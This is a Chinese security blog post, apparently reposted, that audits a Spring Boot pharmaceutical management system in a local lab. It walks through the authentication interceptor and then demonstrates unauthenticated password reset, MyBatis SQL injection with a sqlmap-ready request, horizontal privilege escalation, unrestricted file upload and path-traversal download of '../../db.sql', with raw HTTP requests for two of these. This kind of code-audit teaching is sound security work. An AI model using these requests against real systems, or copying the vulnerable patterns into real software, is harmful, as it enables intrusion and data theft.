基于Spring-boot的医药管理系统审计

admin 2025年4月10日17:17:07评论1 views字数 4110阅读13分42秒阅读模式

扫码加圈子

获内部资料

基于Spring-boot的医药管理系统审计
基于Spring-boot的医药管理系统审计

网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。

原文链接:https://xz.aliyun.com/news/17687

作者:caigao

基于Spring-boot的医药管理系统审计
0x1 环境搭建

环境准备

IDEA2024.2.3
Maven3.9.9
JDK1.8.0_65

使用IDEA打开项目,修改JDK和maven配置,等待Maven加载

基于Spring-boot的医药管理系统审计

修改配置文件:src/main/resources/application.yml

基于Spring-boot的医药管理系统审计

创建对应数据库,导入SQL文件

基于Spring-boot的医药管理系统审计

接着启动项目即可

后台登录页面

http://localhost:8080/yiyaoguanlixitong/admin/dist/index.html

管理员:admin/admin
员工:a1/123456
员工:a2/123456
员工:a3/123456

基于Spring-boot的医药管理系统审计

基于Spring-boot的医药管理系统审计
0x2 鉴权逻辑

优先关注项目是否存在拦截器和过滤器

基于Spring-boot的医药管理系统审计

发现存在拦截器

基于Spring-boot的医药管理系统审计

代码分析

这里代码访问两部分,一部分是用户校验逻辑,一部分是允许未授权访问的逻辑,我们一个个看

用户鉴权逻辑

// 根据token获取用户信息
TokenEntitytokenEntity=null;
if(StringUtils.isNotBlank(token)) {
tokenEntity=tokenService.getTokenEntity(token);
    }

// 如果用户信息存在,将用户相关信息存入session,并允许继续执行
if(tokenEntity!=null) {
request.getSession().setAttribute("userId"tokenEntity.getUserid());
request.getSession().setAttribute("role"tokenEntity.getRole());
request.getSession().setAttribute("tableName"tokenEntity.getTablename());
request.getSession().setAttribute("username"tokenEntity.getUsername());
returntrue;
    }

// 如果用户未登录,返回错误信息
PrintWriterwriter=null;
response.setCharacterEncoding("UTF-8");
response.setContentType("application/json; charset=utf-8");
try {
writer=response.getWriter();
writer.print(JSONObject.toJSONString(R.error(401"请先登录")));
    } finally {
if(writer!=null){
writer.close();
        }
    }
// 返回false,中断执行
returnfalse;

通过token校验用户身份,这里token的生成逻辑中存在随机数,伪造不了

基于Spring-boot的医药管理系统审计

未授权访问接口

publicbooleanpreHandle(HttpServletRequestrequestHttpServletResponseresponseObjecthandlerthrowsException {

// 获取请求的Servlet路径
StringservletPath=request.getServletPath();
// 对特定路径进行放行,不需要进行后续的权限验证
if("/dictionary/page".equals(request.getServletPath())  ||"/file/upload".equals(request.getServletPath()) ||"/yonghu/register".equals(request.getServletPath()) ){
//请求路径是字典表或者文件上传 直接放行
returntrue;
    }

// 支持跨域请求
response.setHeader("Access-Control-Allow-Methods""POST, GET, OPTIONS, DELETE");
response.setHeader("Access-Control-Max-Age""3600");
response.setHeader("Access-Control-Allow-Credentials""true");
response.setHeader("Access-Control-Allow-Headers""x-requested-with,request-source,Token, Origin,imgType, Content-Type, cache-control,postman-token,Cookie, Accept,authorization");
response.setHeader("Access-Control-Allow-Origin"request.getHeader("Origin"));

// 检查处理方法上的IgnoreAuth注解
IgnoreAuthannotation;
if (handlerinstanceofHandlerMethod) {
annotation= ((HandlerMethodhandler).getMethodAnnotation(IgnoreAuth.class);
    } else {
// 如果处理器不是HandlerMethod实例,直接放行
returntrue;
    }

// 从header中获取token
Stringtoken=request.getHeader(LOGIN_TOKEN_KEY);

/**
* 不需要验证权限的方法直接放过
*/
if(annotation!=null) {
returntrue;
    }


}

/dictionary/page和/file/upload路由,以及存在@IgnoreAuth注解的路由可以不需要token验证

基于Spring-boot的医药管理系统审计
0x3 未授权任意密码重置

通过未授权方法分析,全局搜索@IgnoreAuth注解

基于Spring-boot的医药管理系统审计

有很多接口存在未授权,这里挑个危害大点的演示

基于Spring-boot的医药管理系统审计

通过用户名重置密码

基于Spring-boot的医药管理系统审计

查看数据库

基于Spring-boot的医药管理系统审计

修改成功

基于Spring-boot的医药管理系统审计
0x4 未授权SQL注入

先判断数据库使用技术

基于Spring-boot的医药管理系统审计

采用mybatis

全局搜索${

基于Spring-boot的医药管理系统审计

看到有不少,我这里演示一处我测试后可以的基于Spring-boot的医药管理系统审计

关注column参数,跳转到Dao层

基于Spring-boot的医药管理系统审计

接着往上,一步步到controller

基于Spring-boot的医药管理系统审计

基于Spring-boot的医药管理系统审计

通过url的columnName传入,这里通过参数名也可以看出是通过数据库表列查数据的,并且可以看到这个接口存在@IgnoreAuth,也就是不需要token验证,这里我测试下得先构造个正常请求然后放到sqlmap

数据包

GET/yiyaoguanlixitong/option/users/id*HTTP/1.1
Host192.168.242.1:8081
Accept-Encodinggzipdeflate
Accept-Languagezh-CN,zh;q=0.9
CookieJSESSIONID=179AE5E24A3E8C5B70785BE1551E6E71
Acceptapplication/jsontext/plain*/*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Referer: http://192.168.242.1:8081/yiyaoguanlixitong/admin/dist/index.html

基于Spring-boot的医药管理系统审计

基于Spring-boot的医药管理系统审计
0x5 水平越权

登录普通用户,测试后台功能点

基于Spring-boot的医药管理系统审计

看到这个就忍不住测越权,抓包查看

基于Spring-boot的医药管理系统审计

根据路由定位代码

基于Spring-boot的医药管理系统审计

基于Spring-boot的医药管理系统审计

通过传入的用户id进行数据修改,没有看到校验用户id和当前用户id的校验,那么这里存在越权

基于Spring-boot的医药管理系统审计

测试修改id为2的用户

基于Spring-boot的医药管理系统审计

成功修改

基于Spring-boot的医药管理系统审计
0x6 任意文件上传

全局搜索关键词upload

基于Spring-boot的医药管理系统审计

这里获取我们上传文件的文件后缀后没有进行检测直接进行拼接,最后通过file.transferTo(dest);上传文件

基于Spring-boot的医药管理系统审计

成功上传

基于Spring-boot的医药管理系统审计

基于Spring-boot的医药管理系统审计
0x7 未授权任意文件下载

全局搜索关键词download

基于Spring-boot的医药管理系统审计

这里没有对我们传入的文件名进行检测,存在目录穿越,可以跨目录读文件,并且也是未授权接口

构造请求数据包测试

POST/yiyaoguanlixitong/file/download?fileName=../../db.sqlHTTP/1.1
Host192.168.242.1:8081
Content-Typemultipart/form-databoundary=----WebKitFormBoundaryjAVOsCyJC8wB9fbq
Token
CookieJSESSIONID=179AE5E24A3E8C5B70785BE1551E6E71
Accept-Languagezh-CN,zh;q=0.9
Accept*/*
Origin: http://192.168.242.1:8081
Referer: http://192.168.242.1:8081/yiyaoguanlixitong/admin/dist/index.html
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Length: 290

基于Spring-boot的医药管理系统审计

基于Spring-boot的医药管理系统审计
0x8

原文始发于微信公众号(神农Sec):基于Spring-boot的医药管理系统审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月10日17:17:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于Spring-boot的医药管理系统审计https://cn-sec.com/archives/3937964.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息